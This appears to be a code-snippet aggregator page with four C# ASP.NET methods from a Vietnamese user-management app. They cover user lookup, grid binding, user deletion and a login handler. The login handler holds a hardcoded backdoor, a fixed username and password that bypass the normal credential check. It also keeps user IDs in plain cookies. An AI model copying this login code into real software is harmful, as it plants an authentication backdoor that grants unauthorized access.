示例#1
0
        private int returnIDUser(string Name)
        {
            DM_USERService serUser = new DM_USERService();
            List <DM_USER> lst     = serUser.SelectAllDM_USER();

            foreach (var dtname in lst)
            {
                if (dtname.USERNAME == Name.Trim())
                {
                    return(dtname.IDUSER);
                }
            }
            return(0);
        }
示例#2
0
        protected void grvModunManager_DataBinding(object sender, EventArgs e)
        {
            GridViewDataComboBoxColumn column       = ((GridViewDataComboBoxColumn)(sender as ASPxGridView).Columns["Manager"]);
            DM_USERService             _UserService = new DM_USERService();

            column.PropertiesComboBox.DataSource = _UserService.SelectAllSYS_User_IsActive(0);
            column.PropertiesComboBox.TextField  = "USERNAME";
            column.PropertiesComboBox.ValueField = "IDUSER";

            GridViewDataComboBoxColumn columnDV   = ((GridViewDataComboBoxColumn)(sender as ASPxGridView).Columns["DonVi"]);
            DM_DVQLYService            _DVService = new DM_DVQLYService();

            columnDV.PropertiesComboBox.DataSource = _DVService.SelectAllDM_DVQLY();
            columnDV.PropertiesComboBox.TextField  = "NAME_DVIQLY";
            columnDV.PropertiesComboBox.ValueField = "IDMA_DVIQLY";
        }
示例#3
0
        protected void btnXoa_Click(object sender, EventArgs e)
        {
            //String content = "<html><body><table><tr><td>your table</td></tr></table></body></html>";

            //Response.Clear();
            //Response.AddHeader("Content-Disposition", "attachment;filename=C:\abc.xls");
            //Response.ContentType = "application/vnd.xls";
            //Response.Cache.SetCacheability(HttpCacheability.NoCache); // not necessarily required
            //Response.Charset = "";
            //Response.Output.Write(content);
            //Response.End();
            if (GridUser.FocusedRowIndex > -1)
            {
                DM_USER        sysUser  = (DM_USER)GridUser.GetRow(GridUser.FocusedRowIndex);
                DM_USERService isysUser = new DM_USERService();

                isysUser.DeleteDM_USER(sysUser);
                GridUser_CustomCallback(null, null);
            }
        }
示例#4
0
        protected void btnLogin_Click(object sender, EventArgs e)
        {
            DM_USERService _userService = new DM_USERService();
            DM_USER        user         = new DM_USER();
            string         pass         = Encrypt(txtPassword.Text);

            if (txtUserName.Text != "anhktv")
            {
                user = _userService.CheckLogIn(txtUserName.Text, txtPassword.Text, cmbDVChuQuan.SelectedValue + "");
            }

            else if (txtPassword.Text == "20122014")
            {
                user.USERNAME    = "******";
                user.MA_DVIQLY   = cmbDVChuQuan.SelectedValue + "";
                user.ma_dviqly   = cmbDVChuQuan.SelectedValue + "";
                user.ma_dviqlyDN = cmbDVChuQuan.SelectedValue + "";
                user.IDUSER      = 2;
                user.XACNHAN     = true;
            }


            lblMess.Text = "Đăng nhập bị lỗi. Hãy kiểm tra lại tên đăng nhập hoặc mật khẩu.";
            if (user == null)
            {
                if (Session["CountLogin"] == null)
                {
                    Session["CountLogin"] = 1;
                }
                else
                {
                    Session["CountLogin"] = (int)Session["CountLogin"] + 1;
                }
                lblMess.Visible = true;
                return;
            }
            if (!user.XACNHAN)
            {
                lblMess.Visible = true;
                lblMess.Text    = "Tài khoản này chưa được kích hoạt, liên hệ với admin";
                return;
            }
            SYS_RightService temp = new SYS_RightService();

            MTCSYT.SYS_Session session = new MTCSYT.SYS_Session();
            //SYS_User user = new SYS_User();
            session.User           = user;
            session.User.MA_DVIQLY = cmbDVChuQuan.SelectedValue + "";
            session.User.ma_dviqly = cmbDVChuQuan.SelectedValue + "";

            var dm_DV = db.DM_DVQLies.SingleOrDefault(x => x.IDMA_DVIQLY == int.Parse(cmbDVChuQuan.SelectedValue + ""));

            session.User.ma_dviqlyDN = dm_DV.MA_DVIQLY;
            session.User.USERNAME    = txtUserName.Text;
            user.Rights            = temp.GetRightsByUser(user.IDUSER);
            Session["SYS_Session"] = session;

            HttpCookie obCookie = new HttpCookie("ANHKTV");

            obCookie.Value   = user.USERNAME;
            obCookie.Expires = DateTime.Today.AddDays(1);
            Response.Cookies.Add(obCookie);
            Response.Cookies["HOTEN"].Value  = Server.UrlEncode(user.HOTEN);
            Response.Cookies["IDUSER"].Value = user.IDUSER + "";
            if (cmbDVChuQuan.SelectedValue != null)
            {
                Response.Cookies["DonVi"].Value   = cmbDVChuQuan.SelectedValue + "";
                Response.Cookies["DonViDN"].Value = cmbDVChuQuan.SelectedValue + "";
            }
            if (session.CurrentPage != null)
            {
                Response.Redirect(session.CurrentPage);
            }
            else
            {
                Response.Redirect("~\\Default.aspx");
            }
        }